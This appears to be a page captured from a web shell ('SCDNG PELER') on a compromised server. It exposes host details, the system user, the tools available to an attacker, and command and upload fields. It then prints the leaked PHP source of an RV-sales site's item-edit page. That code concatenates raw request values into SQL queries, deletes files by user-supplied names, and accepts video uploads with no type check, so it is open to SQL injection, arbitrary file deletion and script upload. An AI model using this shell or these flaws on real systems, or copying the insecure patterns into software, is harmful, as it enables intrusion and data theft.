SCDNG PELER
Server IP : 162.241.126.129  /  Your IP : 18.227.105.110
Web Server : Apache
System : Linux 162-241-126-129.cprapid.com 4.18.0-477.27.2.el8_8.x86_64 #1 SMP Fri Sep 29 08:21:01 EDT 2023 x86_64
User : rvway5nu4 ( 1018)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/rvway5nu4/www/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/rvway5nu4/www//cust_sale_itemedit.php
<?php
//require_once('./setting.php');
//echo ABSPATH;  exit; //  F:\xampp\htdocs\carivon/
include("./config/data.config.php"); 
include("$LIB_DIR/functions.lib.php");
include("$LIB_DIR/db.php");
include("$LIB_DIR/db/mysqli.php"); 
include("$LIB_DIR/data.constant.php");
include("$LIB_DIR/sitemsgs.php");
include("$LIB_DIR/class.paging.php");
include("$LIB_DIR/functions.mailer.php");
$error='';
$msg='';
if(! isset( $_SESSION['SESS_cust_i_customerID'] ) ){  		
		header('Location: '.SUB_DIR_PROJECT.'/signin.php');
		exit;
}

global $SITE_URL, $IMG_DIR;  
$db	=	new Db( $DB_HOST, $DB_USERNAME, $DB_PASSWORD, $DB_NAME, $DB_REPORT_ERROR, $DB_PERSISTENT_CONN);

$sqlpara = '';
$rvtype = '';

// echo '<pre>';  print_r($_SESSION);  echo '</pre>'; // exit;

$sql = "SELECT * FROM tbl_setting  WHERE i_settingID = '1'  "; 
$result=$db->query($sql);
if($result->num_rows) {		
	foreach( $result->row AS $key=>$val){
			$$key  = stripslashes($val);
	}
		
}



// Start  Add sale items  

if(($_POST['submitForm']) && ($_POST['submitForm'] == 'yes')  ){     
	 EditProduct($_POST['v_title'], $_POST['c_status'],$_POST['i_sortOrder'], $db);
}

$sid4chld0  = 'actve';
$sid4chld2  = 'actve';
$sid4show  = 'show';
function EditProduct( $v_title, $c_status, $i_sortOrder, $db)
{  
		global $PROMPT, $ARR_GLOBAL_STATUS, $ARR_USERS, $ARR_STATUS, $HTTP_SESSION_VARS, $HTTP_POST_FILES, $HTTP_POST_VARS, $DOCUMENT_ROOT, $PIC_DIR, $BANNER_DIR, $TEMP_DIR;
        $userNameFlag = FALSE;
		$userEmailFlag = FALSE;
		$sql = "SELECT 9 FROM tbl_items  WHERE v_title = '".$v_title."'  "; 
		$result=$db->query($sql);
		if($result->num_rows) {		
		  $PROMPT = '<div class="alert alert-warning alert-dismissable">
                                    <button type="button" class="close" data-dismiss="alert" aria-hidden="true">X</button>
                                    <strong><i class="fa fa-exclamation-circle"></i> Warning : </strong>Already : '.$v_title.' with  same group.
               </div>';

			//$_SESSION['msg'] = $PROMPT;
			//header('Location: '.SUB_DIR_PROJECT.'/admin/banner/by_typeadd.php');
			//exit;
		   
        }
		 $v_show_image_type = ( !empty($_POST['v_show_image_type']))? $_POST['v_show_image_type'] : 'normal';

		//echo '<pre>'; print_r($_REQUEST); echo '</pre>';  exit; tx_description
		$sqlIn = "UPDATE tbl_items SET stock = '".$_POST['stock']."', v_title = '".$_POST['v_title']."', year = '".addslashes($_POST['year'])."',  brand = '".addslashes($_POST['brand'])."',  model = '".addslashes($_POST['model'])."',  type = '".addslashes($_POST['type'])."',  length = '".addslashes($_POST['length'])."',  width = '".addslashes($_POST['width'])."',  location = '".addslashes($_POST['location'])."', curreny_type = '".addslashes($_POST['curreny_type'])."',  normal_price = '".addslashes($_POST['normal_price'])."', sale_price = '".addslashes($_POST['sale_price'])."',  floorplan = '".addslashes($_POST['floorplan'])."', floorplan_layout = '".addslashes($_POST['floorplan_layout'])."',  `condition` = '".addslashes($_POST['condition'])."',  quantity = '".addslashes($_POST['quantity'])."',  sleeps = '".addslashes($_POST['sleeps'])."',  water_capacity_black = '".addslashes($_POST['water_capacity_black'])."',  water_capacity_fresh = '".addslashes($_POST['water_capacity_fresh'])."',  water_capacity_grey = '".addslashes($_POST['water_capacity_grey'])."',  gvwr = '".addslashes($_POST['gvwr'])."',  dry_weight = '".addslashes($_POST['dry_weight'])."',  hitch_weight = '".addslashes($_POST['hitch_weight'])."',  of_axles = '".addslashes($_POST['of_axles'])."',  of_air_conditioners = '".addslashes($_POST['of_air_conditioners'])."',  i_sortOrder = '".addslashes($_POST['i_sortOrder'])."',  microwave = '".addslashes($_POST['microwave'])."',  air_conditioning = '".addslashes($_POST['air_conditioning'])."',  cd_player = '".addslashes($_POST['cd_player'])."',  co_detector = '".addslashes($_POST['co_detector'])."',  available_literature = '".addslashes($_POST['available_literature'])."',  roof_vents = '".addslashes($_POST['roof_vents'])."',  exterior_speakers = '".addslashes($_POST['exterior_speakers'])."',  hitch = '".addslashes($_POST['hitch'])."',  booth_dinette = '".addslashes($_POST['booth_dinette'])."',  new_arrival_select = '".addslashes($_POST['new_arrival_select'])."',  new_arrival_text = '".addslashes($_POST['new_arrival_text'])."',  in_stock_select = '".addslashes($_POST['in_stock_select'])."',  in_stock_text = '".addslashes($_POST['in_stock_text'])."',  reduced_select = '".addslashes($_POST['reduced_select'])."',  reduced_text = '".addslashes($_POST['reduced_text'])."',  sale_select = '".addslashes($_POST['sale_select'])."',  sale_text = '".addslashes($_POST['sale_text'])."',special_select = '".addslashes($_POST['special_select'])."',special_text = '".addslashes($_POST['special_text'])."',tx_description = '".addslashes($_POST['tx_description'])."', v_show_image_type = '".$v_show_image_type."' ,stove_top_burner = '".addslashes($_POST['stove_top_burner'])."',water_heater = '".addslashes($_POST['water_heater'])."',smoke_detector = '".addslashes($_POST['smoke_detector'])."',awning = '".addslashes($_POST['awning'])."',leveling_jacks = '".addslashes($_POST['leveling_jacks'])."',power_roof_vent = '".addslashes($_POST['power_roof_vent'])."',skylight = '".addslashes($_POST['skylight'])."',slideout = '".addslashes($_POST['slideout'])."',bunk_beds = '".addslashes($_POST['bunk_beds'])."',medicine_cabinet = '".addslashes($_POST['medicine_cabinet'])."',shower = '".addslashes($_POST['shower'])."' ,toilet = '".addslashes($_POST['toilet'])."' , refrigerator = '".addslashes($_POST['refrigerator'])."' , lp_detector = '".addslashes($_POST['lp_detector'])."' ,auxiliary_battery = '".addslashes($_POST['auxiliary_battery'])."' ,  dt_modifyDate = NOW() , v_type_of_addedby = 'customer' WHERE i_itemID = '".$_POST['i_itemID']."' AND v_type_of_addedby = 'customer' AND  i_added_by_customerId = '".$_SESSION['SESS_cust_i_customerID']."'  ";  

	   
		$result= $db->query($sqlIn);;
		$new_i_itemID = $_POST['i_itemID'];       // sale_rv_select

		
         if($new_i_itemID){
			for( $i=1; $i < 21 ; $i++ ) {

				
				$delete_img_flag  = $_POST['delete_img_flag'.$i];
				if($delete_img_flag == 1 ){
					$todel_img_name  = $_POST['todel_img_name'.$i];
					$deltarget = "$DOCUMENT_ROOT$PIC_DIR/$todel_img_name";
					unlink($deltarget);				
				}


				if ($_FILES["v_image".$i]["size"] > 0)
				{	$filename = $_FILES["v_image".$i]["name"];
					
					$fileArray = explode(".", $filename);
					$extension = strtolower(end($fileArray));
					$newFileName  = "item/item_".$new_i_itemID.'_'.$i.''.".$extension";
					
					if ($extension == 'jpg' || $extension == 'jpeg' || $extension == 'gif' || $extension == 'png' || $extension == 'bit')
					{	$target = "$DOCUMENT_ROOT$PIC_DIR/$newFileName";
						$filename2 = $newFileName;

						while (file_exists("$target"))
						{	
							$random_number = rand(10000, 99999);
							$newFileName = $random_number."_".$filename2;
							$target = "$DOCUMENT_ROOT$newFileName";
						}

						if(move_uploaded_file($_FILES["v_image".$i]["tmp_name"], $target))
						{	
							$query1 = "update   tbl_items  set  v_image".$i." = '$newFileName' where i_itemID = '$new_i_itemID'";
							$db->query($query1);	
							$flag = true;

							$todel_img_name  = $_POST['todel_img_name'.$i];
							$deltarget = "$DOCUMENT_ROOT$PIC_DIR/$todel_img_name";
							unlink($deltarget);

						}
					}
					
				}
			}




			for( $i=1; $i < 31 ; $i++ ) {

				$delete_3dimg_flag  = $_POST['delete_3dimg_flag'.$i];
				if($delete_3dimg_flag == 1 ){
					$todel_img_name  = $_POST['todel_3dimg_name'.$i];
					$deltarget = "$DOCUMENT_ROOT$PIC_DIR/$todel_img_name";
					unlink($deltarget);				
				}				


				if ($_FILES["v_3dimage".$i]["size"] > 0)
				{	$filename = $_FILES["v_3dimage".$i]["name"];
					
					$fileArray = explode(".", $filename);
					$extension = strtolower(end($fileArray));
					$newFileName  = "item/item3dimg_".$new_i_itemID.'_'.$i.''.".$extension";
					
					if ($extension == 'jpg' || $extension == 'jpeg' || $extension == 'gif' || $extension == 'png' || $extension == 'bit')
					{	$target = "$DOCUMENT_ROOT$PIC_DIR/$newFileName";
						$filename2 = $newFileName;

						while (file_exists("$target"))
						{	
							$random_number = rand(10000, 99999);
							$newFileName = $random_number."_".$filename2;
							$target = "$DOCUMENT_ROOT$newFileName";
						}

						if(move_uploaded_file($_FILES["v_3dimage".$i]["tmp_name"], $target))
						{	
							$query1 = "update   tbl_items  set  v_3dimage".$i." = '$newFileName' where i_itemID = '$new_i_itemID'";
							$db->query($query1);	
							$flag = true;

							$todel_img_name  = $_POST['todel_img_name'.$i];
							$deltarget = "$DOCUMENT_ROOT$PIC_DIR/$todel_img_name";
							unlink($deltarget);

						}
					}
					
				}
			}


				$delete_item_video  = $_POST['delete_item_video'];
				if($delete_item_video == 1 ){
					$old_item_video  = $_POST['old_item_video'];
					$deltarget = "$DOCUMENT_ROOT$PIC_DIR/$old_item_video";
					unlink($deltarget);				
				}


				if ($_FILES["item_video"]["size"] > 0)
				{	$filename = $_FILES["item_video"]["name"];
					
					$fileArray = explode(".", $filename);
					$extension = strtolower(end($fileArray));
					$newFileName  = "item/item_video_".$new_i_itemID.'_'.$i.''.".$extension";
					
					//if ($extension == 'jpg' || $extension == 'jpeg' || $extension == 'gif' || $extension == 'png' || $extension == 'bit')
					//{	
						
						$target = "$DOCUMENT_ROOT$PIC_DIR/$newFileName";
						$filename2 = $newFileName;

						while (file_exists("$target"))
						{	
							$random_number = rand(10000, 99999);
							$newFileName = $random_number."_".$filename2;
							$target = "$DOCUMENT_ROOT$newFileName";
						}

						if(move_uploaded_file($_FILES["item_video"]["tmp_name"], $target))
						{	
							$query1 = "update   tbl_items  set  item_video = '$newFileName' where i_itemID = '$new_i_itemID'";
							$db->query($query1);	
							$flag = true;

							$todel_img_name  = $_POST['todel_img_name'.$i];
							$deltarget = "$DOCUMENT_ROOT$PIC_DIR/$todel_img_name";
							unlink($deltarget);

						}

					//}
					
				}



/////
			$PROMPT ='<div class="alert alert-success alert-dismissable">
                                    <button type="button" class="close" data-dismiss="alert" aria-hidden="true">X</button>
                                    <strong><i class="fa fa-check-circle"></i> Success :</strong>'.$v_title. ' '.$message.'added successfully.
                      </div>';
		 }else
		 {
		    
		    $PROMPT = '<div class="alert alert-warning alert-dismissable">
                                    <button type="button" class="close" data-dismiss="alert" aria-hidden="true">X</button>
                                    <strong><i class="fa fa-exclamation-circle"></i> Warning :</strong> Sorry try again.;
               </div>';
		 }



		$_SESSION['msg'] = $PROMPT;  
		// header('Location: '.SUB_DIR_PROJECT.'/cust_sale_itemedit.php?action=edit&i_itemID='.$_POST['i_itemID']); 
		header('Location: '.SUB_DIR_PROJECT.'/cust_sale_itemlist.php');
		exit;
	
}
// End Add sale items



?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8"/>
    <title>Caravon</title>
    <!-- mobile responsive meta -->
    <meta name="viewport" content="width=device-width, initial-scale=1">
	<?php require_once($ROOT_DIR.'/page_content/us/common/header_common_link1.php'); ?>
	<?php //require_once($ROOT_DIR.'/page_content/us/common/header_common_link2.php'); ?>
	<?php require_once($ROOT_DIR.'/page_content/us/common/header_common_link3.php'); ?>
	<?php require_once($ROOT_DIR.'/page_content/us/common/header_common_link4.php');  ?>



	<!-- tinyMCE -->
	<script language="javascript" type="text/javascript" src="<?php echo $SITE_URL;  ?>/tinymce/jscripts/tiny_mce/tiny_mce.js"></script>
	<script language="javascript" type="text/javascript">
	tinyMCE.init({
		mode : "exact",
		theme : "advanced",
		elements : "tx_description",
		plugins : "table,save,advhr,advimage,advlink,emotions,iespell,insertdatetime,preview,zoom,flash,searchreplace,print,contextmenu",
		theme_advanced_buttons1_add_before : "save,separator",
		theme_advanced_buttons1_add : "fontselect,fontsizeselect",
		theme_advanced_buttons2_add : "separator,insertdate,inserttime,preview,zoom,separator,forecolor,backcolor",
		theme_advanced_buttons2_add_before: "cut,copy,paste,separator,search,replace,separator",
		theme_advanced_buttons3_add_before : "tablecontrols,separator",
		theme_advanced_buttons3_add : "emotions,iespell,flash,advhr,separator,print",
		theme_advanced_toolbar_location : "top",
		theme_advanced_toolbar_align : "left",
		theme_advanced_path_location : "bottom",
		content_css : "example_full.css",
	    plugin_insertdate_dateFormat : "%Y-%m-%d",
	    plugin_insertdate_timeFormat : "%H:%M:%S",
		extended_valid_elements : "a[name|href|target|title|onclick],img[class|src|border=0|alt|title|hspace|vspace|width|height|align|onmouseover|onmouseout|name],hr[class|width|size|noshade],font[face|size|color|style],span[class|align|style]",
		external_link_list_url : "example_link_list.js",
		external_image_list_url : "example_image_list.js",
		flash_external_list_url : "example_flash_list.js",
		file_browser_callback : "fileBrowserCallBack"
	});

	function fileBrowserCallBack(field_name, url, type) {
		// This is where you insert your custom filebrowser logic
		alert("Filebrowser callback: " + field_name + "," + url + "," + type);
	}
	</script>


<link href="<?php echo $SITE_URL;  ?>/simple-360-degrees-image-viewer-plugin-for-jquery-rotateimage/script/jquerysctipttop.css" rel="stylesheet" type="text/css">
<link rel="stylesheet" type="text/css" href="<?php echo $SITE_URL;  ?>/simple-360-degrees-image-viewer-plugin-for-jquery-rotateimage/script/jquery-ui.css"/> 
<script src="<?php echo $SITE_URL;  ?>/simple-360-degrees-image-viewer-plugin-for-jquery-rotateimage/script/jquery.min.js"></script>
<script src="<?php echo $SITE_URL;  ?>/simple-360-degrees-image-viewer-plugin-for-jquery-rotateimage/script/jquery-ui.min.js"></script>

<script src="<?php echo $SITE_URL;  ?>/simple-360-degrees-image-viewer-plugin-for-jquery-rotateimage/script/rotate.js"></script>
<link rel="stylesheet" href="<?php echo $SITE_URL;  ?>/simple-360-degrees-image-viewer-plugin-for-jquery-rotateimage/css/rotate.css" media="all">
<style>

.rotatebox .images {
    width: 655px;
    height: 500px;
    min-width: 655px;
    position: relative;
    left: 0% !important;
}

</style>


</head>
<body>
	
	<!-- <div class="preloader"></div> -->
    <div class="page-wrapper"  >

		<!-- space for preloader -->
		<header class="site-header header-one" >
			<div class="top-header">
				<?php require_once($ROOT_DIR.'/page_content/us/common/header_top.php'); ?>
			</div><!-- /.top-header -->
			<nav class="navbar navbar-expand-lg navbar-light header-navigation stricky header-style-one" >
				<?php require_once($ROOT_DIR.'/page_content/us/common/header_nav.php'); ?>
            </nav>
		</header><!-- /.site-header -->
		<?php // require_once($ROOT_DIR.'/page_content/minimal-bootstrap-carousel_h.php'); ?>
		<?php // require_once($ROOT_DIR.'/page_content/us/home/minimal-bootstrap-carousel.php'); ?>
		<!--Start AAAAAAAAAAAAAAAAAAAAAAAAAAAAA -->
        <div style="margin:20px 0px 20px 0px;">
            <div class="container">
                <div class="row">
                    <div class="col-lg-12">
<?php
$sql = "SELECT * FROM tbl_rv_setting  WHERE i_rv_settingID = '1'  ";
$result=$db->query($sql);
if($result->num_rows) {	
	foreach( $result->row AS $key=>$val){
			$$key  = stripslashes($val);
	}	
}
?>

						<?php if( $sale_rv_title != '' ){ ?><h3 class=""><?php echo $sale_rv_title; ?></h2> <?php } ?>
						<?php if( $sale_rv_short_description != '' ){ ?><h5 class=""><?php echo $sale_rv_short_description; ?></h3> <?php } ?>
					</div>
				</div>
			</div>
		</div>
        <div class="">
            <div class="container">


                <div class="row">
                    <div class="col-lg-3 d-none d-sm-block" style="border-right:2px solid #ccc;" >
						<?php require_once($ROOT_DIR.'/page_content/my_account_sidebar.php'); ?>			
                    </div><!-- /.col-lg-4 -->
                    <div class="col-lg-9 col-sm-12 col-xs-12">
						<div class="col-sm-12" style="margin-top:2px;" >
						 <?php echo htmlentities($desc_str); ?>
						</div>						
                        
						<section class="">
						        <?php if( $_SESSION['msg'] ){ 
									 echo $_SESSION['msg']; 
									 unset($_SESSION['msg']);
								} 
								
								
								
								$img_preview  = '';
								$img_name  = '';
								$inactive_checked  = '';
								$active_checked  = '';
								$v_title  = '';
								$i_itemID  = $_REQUEST['i_itemID'];
								$sql = "SELECT * FROM tbl_items  WHERE i_itemID = '".$_REQUEST['i_itemID']."' AND v_type_of_addedby = 'customer' AND  i_added_by_customerId = '".$_SESSION['SESS_cust_i_customerID']."'  "; 
								$result=$db->query($sql);
								if($result->num_rows) {
						 
									//echo '<pre>';  print_r( $result->row); echo '</pre>';  //exit;

									foreach( $result->row AS $key=>$val ){
											$$key  = stripslashes($val);			
									}

									$non_select = ($v_show_image_type == 'non' ) ? 'checked':'';
									$normal_select = ($v_show_image_type == 'normal' ) ? 'checked':'';
									$d3_select = ($v_show_image_type == '3d' ) ? 'checked':'';
									$video_select = ($v_show_image_type == 'video' ) ? 'checked':'';

									for( $i=1; $i < 21 ; $i++ ) {
										$img  = 'v_image'.$i;
										$imgsrc	  = $$img;
										//echo $v_image1;   exit;
										$target = "$DOCUMENT_ROOT$PIC_DIR/$imgsrc";		
										if ( $$img != ''  && file_exists("$target"))
										{	
											$imgpre			= 'v_imageprev'.$i;					
											$delimg			= 'del_v_imageprev'.$i;
											$$delimg	    = $imgsrc;
											//echo $del_v_imageprev1;  exit;
											$todel_img_name  = $imgsrc;
											$$imgpre = '<BR/><img src="'.$SITE_URL.'/pic/'.$imgsrc.'" class="img-responsive" style="max-width:300px;" >';
											//echo $v_imageprev1;  exit;
										}
									}

									$threed_image_array  = array();
									for( $i=1; $i < 31 ; $i++ ) {
										$img  = 'v_3dimage'.$i;
										$imgsrc	  = $$img;
										//echo $v_image1;   exit;
										$target = "$DOCUMENT_ROOT$PIC_DIR/$imgsrc";		
										if ( $$img != ''  && file_exists("$target"))
										{	
											$imgpre			= 'v_3dimageprev'.$i;					
											$delimg			= 'del_v_3dimageprev'.$i;
											$$delimg	    = $imgsrc;

											$threed_image_array[$i]  = $SITE_URL.'/pic/'.$imgsrc;
											//echo $del_v_imageprev1;  exit;
											$todel_img_name  = $imgsrc;
											$$imgpre = '<BR/><img src="'.$SITE_URL.'/pic/'.$imgsrc.'" class="img-responsive" style="max-width:300px;" >';
											//echo $v_3dimageprev1;  exit;
										}
									}


									$videoFlag  = 0;
									$del_item_video  = $item_video;
									$videotarget = "$DOCUMENT_ROOT$PIC_DIR/$item_video";
									if ( $item_video != ''  && file_exists("$videotarget"))
									{	$videoFlag  = 1;
										$videopath = $SITE_URL.'/pic/'.$item_video;
									}
									//echo $videopath;  exit;

								}								
								
								
								
								
								?>
								
								
								<form  method="post" enctype="multipart/form-data">
								<div class="container-fluid">
								  <div class="row">
								  	<?php if( $sale_rv_description != '' ){ ?><?php echo $sale_rv_description; ?><?php } ?>
									<!-- Count item widget-->
									<div class="col-xl-12 col-md-12 col-lg-12 card">
									   <!-- Start Form  -->
										<div class="">
										  <h4>EDIT SALE RV</h4>
										</div>
										<div class="row" >
											<div class="col-lg-6 col-sm-12"  >
											  <div class="">
												<div class="card-body">
													<div class="form-group row">
													  <label class="col-sm-5 form-control-label">Title </label>
													  <div class="col-sm-7">
														<input type="text" name="v_title" value="<?php echo $v_title;  ?>" class="form-control"  required  >
													  </div>
													</div>
													<div class="line"></div>						 
													<div class="form-group row">
													  <label class="col-sm-5 form-control-label">Stock </label>
													  <div class="col-sm-7">
														<input type="text" name="stock" value="<?php echo $stock;  ?>" class="form-control">
													  </div>
													</div>
													<div class="line"></div>
													<div class="form-group row">
													  <label class="col-sm-5 form-control-label">Status</label>
													  <div class="col-sm-7">
														<select name="c_status" class="form-control">
														  <option value="1" >Active</option>
														  <option value="0" >Inactive</option>
														</select>
													  </div>
													</div>
													<div class="line"></div>
													<div class="form-group row">
													  <label class="col-sm-5 form-control-label">Year</label>
													  <div class="col-sm-7">
														<input type="text" name="year" value="<?php echo $year;  ?>"  class="form-control">
													  </div>
													</div>


													<div class="line"></div>
													<div class="form-group row">
													  <label class="col-sm-5 form-control-label">Brand</label>
													  <div class="col-sm-7">
														<input type="text" name="brand" value="<?php echo $brand;  ?>"  class="form-control">
													  </div>
													</div>

													<div class="line"></div>
													<div class="form-group row">
													  <label class="col-sm-5 form-control-label">Model</label>
													  <div class="col-sm-7">
														<input type="text" name="model" value="<?php echo $model;  ?>"  class="form-control">
													  </div>
													</div>

													<div class="line"></div>
													<div class="form-group row">
													  <label class="col-sm-5 form-control-label">Type</label>
													  <div class="col-sm-7">
														<input type="text" name="type" value="<?php echo $type;  ?>"  class="form-control">
													  </div>
													</div>
												  
												</div>
											  </div>
											
											</div>
											<div class="col-lg-6 col-sm-12">
											  <div class="">
												<div class="card-body">
													<div class="line"></div>
													<div class="form-group row">
													  <label class="col-sm-5 form-control-label">Length</label>
													  <div class="col-sm-7">
														<input type="text" name="length" value="<?php echo $length;  ?>"  class="form-control">
													  </div>
													</div>

													<div class="line"></div>
													<div class="form-group row">
													  <label class="col-sm-5 form-control-label">Width</label>
													  <div class="col-sm-7">
														<input type="text" name="width" value="<?php echo $stock;  ?>"  class="form-control">
													  </div>
													</div>


													<div class="line"></div>
													<div class="form-group row">
													  <label class="col-sm-5 form-control-label">Location</label>
													  <div class="col-sm-7">
														<input type="text" name="location" value="<?php echo $location;  ?>"  class="form-control">
													  </div>
													</div>
													<div class="line"></div>
													<div class="form-group row">
													  <label class="col-sm-5 form-control-label">Currency Type</label>
													  <div class="col-sm-7">
														<input type="text" name="curreny_type" value="<?php echo $curreny_type;  ?>" class="form-control" required >
													  </div>
													</div>
													<div class="line"></div>
													<div class="form-group row">
													  <label class="col-sm-5 form-control-label">Normal Price</label>
													  <div class="col-sm-7">
														<input type="text" name="normal_price" value="<?php echo $normal_price;  ?>" class="form-control">
													  </div>
													</div>
													<div class="line"></div>
													<div class="form-group row">
													  <label class="col-sm-5 form-control-label">Sale Price</label>
													  <div class="col-sm-7">
														<input type="text" name="sale_price" value="<?php echo $sale_price;  ?>"  class="form-control">
													  </div>
													</div>
													<div class="line"></div>
													<div class="form-group row">
													  <label class="col-sm-5 form-control-label">Floorplan</label>
													  <div class="col-sm-7">
														<input type="text" name="floorplan" value="<?php echo $floorplan;  ?>"  class="form-control">
													  </div>
													</div>

													<div class="line"></div>
													<div class="form-group row">
													  <label class="col-sm-5 form-control-label">Floorplan Layout</label>
													  <div class="col-sm-7">
														<input type="text" name="floorplan_layout" value="<?php echo $floorplan_layout;  ?>"  class="form-control">
													  </div>
													</div>
												</div>
											 </div>
											</div>
										</div>

									   <!-- End Form  -->
									</div>

									<div class="col-xl-12 col-md-12 col-lg-12 card">
									   <!-- Start Form  -->
										<div class="">
										  <h4>Specifications</h4>
										</div>
										<div class="row" >
											<div class="col-lg-6 col-sm-12"  >
											  <div class="">
												<div class="card-body">
												 
													<div class="form-group row">
													  <label class="col-sm-5 form-control-label">Condition </label>
													  <div class="col-sm-7">
														<input type="text" name="condition" value="<?php echo $condition;  ?>"  class="form-control">
													  </div>
													</div>
													<div class="line"></div>						
													<div class="form-group row">
													  <label class="col-sm-5 form-control-label">Quantity</label>
													  <div class="col-sm-7">
														<input type="text" name="quantity" value="<?php echo $quantity;  ?>"  class="form-control">
													  </div>
													</div>


													<div class="line"></div>
													<div class="form-group row">
													  <label class="col-sm-5 form-control-label">Sleeps</label>
													  <div class="col-sm-7">
														<input type="text" name="sleeps" value="<?php echo $sleeps;  ?>"  class="form-control">
													  </div>
													</div>

													<div class="line"></div>
													<div class="form-group row">
													  <label class="col-sm-5 form-control-label">Water Capacity - Black</label>
													  <div class="col-sm-7">
														<input type="text" name="water_capacity_black" value="<?php echo $water_capacity_black;  ?>"  class="form-control">
													  </div>
													</div>

													<div class="line"></div>
													<div class="form-group row">
													  <label class="col-sm-5 form-control-label">Water Capacity - Fresh</label>
													  <div class="col-sm-7">
														<input type="text" name="water_capacity_fresh" value="<?php echo $water_capacity_fresh;  ?>"  class="form-control">
													  </div>
													</div>


													<div class="line"></div>
													<div class="form-group row">
													  <label class="col-sm-5 form-control-label">Water Capacity - Grey</label>
													  <div class="col-sm-7">
														<input type="text" name="water_capacity_grey" value="<?php echo $water_capacity_grey;  ?>"  class="form-control">
													  </div>
													</div>
													<div class="line"></div>
													<div class="form-group row">
													  <label class="col-sm-5 form-control-label">GVWR</label>
													  <div class="col-sm-7">
														<input type="text" name="gvwr" value="<?php echo $gvwr;  ?>"  class="form-control">
													  </div>
													</div>

												</div>
											  </div>
											
											</div>
											<div class="col-lg-6 col-sm-12">
											  <div class="">
												<div class="card-body">
													<div class="line"></div>
													<div class="form-group row">
													  <label class="col-sm-5 form-control-label"> Dry Weight</label>
													  <div class="col-sm-7">
														<input type="text" name="dry_weight" value="<?php echo $dry_weight;  ?>"  class="form-control">
													  </div>
													</div>
													<div class="line"></div>
													<div class="form-group row">
													  <label class="col-sm-5 form-control-label">Hitch Weight</label>
													  <div class="col-sm-7">
														<input type="text" name="hitch_weight" value="<?php echo $hitch_weight;  ?>"  class="form-control">
													  </div>
													</div>
													<div class="line"></div>
													<div class="form-group row">
													  <label class="col-sm-5 form-control-label">of Axles</label>
													  <div class="col-sm-7">
														<input type="text" name="of_axles" value="<?php echo $of_axles;  ?>"  class="form-control">
													  </div>
													</div>
													<div class="line"></div>
													<div class="form-group row">
													  <label class="col-sm-5 form-control-label">Length</label>
													  <div class="col-sm-7">
														<input type="text" name="length" value="<?php echo $length;  ?>"  class="form-control">
													  </div>
													</div>
													<div class="line"></div>
													<div class="form-group row">
													  <label class="col-sm-5 form-control-label">Width</label>
													  <div class="col-sm-7">
														<input type="text" name="width" value="<?php echo $width;  ?>"  class="form-control">
													  </div>
													</div>
													

													<div class="line"></div>
													<div class="form-group row">
													  <label class="col-sm-5 form-control-label">of Air Conditioners</label>
													  <div class="col-sm-7">
														<input type="text" name="of_air_conditioners" value="<?php echo $of_air_conditioners;  ?>"  class="form-control">
													  </div>
													</div>

													<div class="line"></div>
													<div class="form-group row">
													  <label class="col-sm-5 form-control-label">Sort Order</label>
													  <div class="col-sm-7">
														<input type="text" name="i_sortOrder" value="<?php echo $i_sortOrder;  ?>"  class="form-control">
													  </div>
													</div>

												</div>
											 </div>
											</div>
										</div>

									   <!-- End Form  -->
									</div>

									<div class="col-xl-12 col-md-12 col-lg-12 card">
									   <!-- Start Form  -->
										<div class="">
										  <h4>Features Included</h4>
										</div>
										<div class="row" >
											<div class="col-lg-6 col-sm-12"  >
											  <div class="">
												<div class="card-body">
												 
													<div class="form-group row">
													  <label class="col-sm-5 form-control-label">Microwave </label>
													  <div class="col-sm-7">
														<input type="text" name="microwave" value="<?php echo $microwave;  ?>"  class="form-control">
													  </div>
													</div>
													<div class="line"></div>						
													<div class="form-group row">
													  <label class="col-sm-5 form-control-label">Air Conditioning</label>
													  <div class="col-sm-7">
														<input type="text" name="air_conditioning" value="<?php echo $air_conditioning;  ?>"  class="form-control">
													  </div>
													</div>


													<div class="line"></div>
													<div class="form-group row">
													  <label class="col-sm-5 form-control-label">CD Player</label>
													  <div class="col-sm-7">
														<input type="text" name="cd_player" value="<?php echo $cd_player;  ?>"  class="form-control">
													  </div>
													</div>

													<div class="line"></div>
													<div class="form-group row">
													  <label class="col-sm-5 form-control-label">CO Detector</label>
													  <div class="col-sm-7">
														<input type="text" name="co_detector" value="<?php echo $co_detector;  ?>"  class="form-control">
													  </div>
													</div>
													
													<div class="line"></div>
													<div class="form-group row">
													  <label class="col-sm-5 form-control-label">Available Literature</label>
													  <div class="col-sm-7">
														<input type="text" name="available_literature" value="<?php echo $available_literature;  ?>"  class="form-control">
													  </div>
													</div>

													<div class="line"></div>
													<div class="form-group row">
													  <label class="col-sm-5 form-control-label">Stove Top Burner</label>
													  <div class="col-sm-7">
														<input type="text" name="stove_top_burner" value="<?php echo $stove_top_burner;  ?>"  class="form-control">
													  </div>
													</div>

													<div class="line"></div>
													<div class="form-group row">
													  <label class="col-sm-5 form-control-label">Water Heater</label>
													  <div class="col-sm-7">
														<input type="text" name="water_heater" value="<?php echo $water_heater;  ?>"  class="form-control">
													  </div>
													</div>
													<div class="line"></div>
													<div class="form-group row">
													  <label class="col-sm-5 form-control-label">Auxiliary Battery</label>
													  <div class="col-sm-7">
														<input type="text" name="auxiliary_battery" value="<?php echo $auxiliary_battery;  ?>"  class="form-control">
													  </div>
													</div>
													<div class="line"></div>
													<div class="form-group row">
													  <label class="col-sm-5 form-control-label">Smoke Detector</label>
													  <div class="col-sm-7">
														<input type="text" name="smoke_detector" value="<?php echo $smoke_detector;  ?>"  class="form-control">
													  </div>
													</div>
													<div class="line"></div>
													<div class="form-group row">
													  <label class="col-sm-5 form-control-label">Awning</label>
													  <div class="col-sm-7">
														<input type="text" name="awning" value="<?php echo $awning;  ?>"  class="form-control">
													  </div>
													</div> 

													<div class="line"></div>
													<div class="form-group row">
													  <label class="col-sm-5 form-control-label">LP Detector</label>
													  <div class="col-sm-7">
														<input type="text" name="lp_detector" value="<?php echo $lp_detector;  ?>"  class="form-control">
													  </div>
													</div> 

													<div class="line"></div>
													<div class="form-group row">
													  <label class="col-sm-5 form-control-label">Leveling Jacks</label>
													  <div class="col-sm-7">
														<input type="text" name="leveling_jacks" value="<?php echo $leveling_jacks;  ?>"  class="form-control">
													  </div>
													</div>

													<div class="line"></div>
													<div class="form-group row">
													  <label class="col-sm-5 form-control-label">Refrigerator</label>
													  <div class="col-sm-7">
